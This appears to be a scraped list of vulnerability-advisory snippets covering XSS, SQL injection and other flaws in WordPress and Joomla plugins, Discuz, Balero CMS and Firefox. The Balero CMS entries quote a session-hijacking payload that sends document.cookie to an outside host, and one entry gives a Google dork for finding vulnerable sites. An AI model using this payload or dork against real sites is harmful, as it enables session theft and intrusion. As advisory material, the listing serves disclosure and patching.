WordPress Email Encoder Bundle Plugin <= 1.4.1 - Cross Site Scripting

Because of this vulnerability, unauthenticated users can inject HTML or JS code. Solution Update the plugin...

Python Network Recon Framework: ivre

IVRE Instrument de veille sur les réseaux extérieurs or DRUNK Dynamic Recon of UNKnown networks is a network recon framework, including two modules for passive recon one p0f -based and one Bro -based and one module for active recon mostly Nmap -based, with a bit of ZMap . External programs /...

WordPress Huge-IT Slider 2.7.5 - Multiple Vulnerabilities

Exploit for php platform in category web applications Exploit Title: WordPress: wordpress huge-it-slider 2.7.5 & Persistent JS-HTML Code injection, Arbitrary slider deletion Date: 2015-06-23 Google Dork: intitle:"index of" intext:"/wp-content/plugins/slider-image/" Exploit Author: Joaquin Ramirez...

WordPress Huge IT Slider Plugin 2.7.5 - Multiple Vulnerabilities

There are multiple vulnerabilities in this plugin, such as cross-site request forgery and Persistent JS/HTML Injection. These vulnerabilities allow an attacker to make a user with access privileges to a page and inject JavaScript into the database. Solution Upgrade the plugin...

Responsive Portfolio Wall [mod_repowa], 1.0 and below, XSS (Cross Site Scripting)

Responsive Portfolio Wall modrepowa, 1.0, XSS Cross Site Scripting Extension includes vulnerable version of JS library prettyPhoto Vulnerability fixed in version 1.1 Update notice: http://www.joomlabusiness.net/module/responsive-portfolio-wall...

AP Portfolio [mod_ap_portfolio], 3.3 and below, XSS (Cross Site Scripting)

AP Portfolio modapportfolio, 3.3.1 and below, XSS Cross Site Scripting Extension includes vulnerable JS library prettyPhoto Vulnerability fixed in version 3.3.2 Update notice:http://aplikko.com/joomla-extensions/ap-portfolio...

BK MultiThumb [multithumb], 3.7.1 and below, XSS (Cross Site Scripting)

BK-MultiThumb, 3.7.1 and below, XSS Cross Site Scripting Extension contains known vulnerable version of JS library prettyPhoto. The vulnerability in JS file was patched by extension author on basis of 3.1.5 file. Update notice: http://joomla.rjews.net/bk-multithumb...

CVE-2012-6692

Cross-site scripting XSS vulnerability in js/wp-seo-metabox.js in the WordPress SEO by Yoast plugin before 2.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the posttitle parameter to wp-admin/post-new.php, which is not properly handled in the snippet preview...

CVE-2012-6692: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in js/wp-seo-metabox.js in the WordPress SEO by Yoast plugin before 2.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the posttitle parameter to wp-admin/post-new.php, which is not properly handled in the snippet preview...

Discuz full version of the stored DOM XSS that can be hit, the administrator attached to the Discuz official development 4 pit&validation script-vulnerability warning-the black bar safety net

Discuz editor JS to improper handling of lead storage typeXSS. Reason: JS native take ELEMENT in the HTML content of the method, the service side escape single double quotes entity encoding is inverted. Code analysis: Here with the latest version of the local test payload is:...

WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting

WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting Exploit Title: WordPress Free Counter Plugin Stored XSS Date: 2015/05/25 Exploit Author: Panagiotis Vagenas Contact: https://twitter.com/panVagenas Vendor Homepage: http://www.free-counter.org Software Link:...

Super cannon Great Cannon）defect inquiry of JS bloomer-vulnerability warning-the black bar safety net

Following the last post in the black bar to secure the article on the super cannon Great Cannon）defect inquiry of TTL article, we reference from abroad, a research organization for the event post-mortem analysis, as well as by being an attack site log and capture the code on a bloomer, locking Th...

WordPress JS Restaurant Plugin - SQL Injection

This plugin is prone to an SQL injection vulnerability via popup.php restuarantid parameter. Solution Update the plugin...

WordPress File Upload < 2.7.1 - JS File Upload

The WordPress File Upload WordPress plugin was affected by a JS File Upload security vulnerability...

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pent...

Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...

Balero CMS 0.7.2 Cross Site Scripting

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...

WordPress Navis DocumentCloud Plugin <= 0.1.0 - XSS

This vulnerability is in js/window.php. It allows an attacker to inject arbitrary web script or HTML via the "wpbase" parameter. Solution Update the plugin...

Cool Dog PC client remote JS code injection vulnerability(impact of the National cool Dog the user can hung it)-vulnerability warning-the black bar safety net

Mainly using the three vulnerability completed 1 cool Dog Radio backgroundxssvulnerability 2 cool Dog Radio personal background override vulnerability 3 cool Dog Radio home storage-typexssvulnerability 一 :http://www.kugou.com/fm2/app/musicshow/admin/njadmin/index.php Cool Dog Radio personal...

Mozilla Firefox nsTreeRange Use After Free - Ver2 (CVE-2011-0073)

A use-after-free vulnerability has been reported in Mozilla Firefox. The vulnerability is due to an error while handling user-defined functions in JavaScript JS files. A remote attacker may exploit this vulnerability by enticing users to open a specially crafted web-page using an affected version...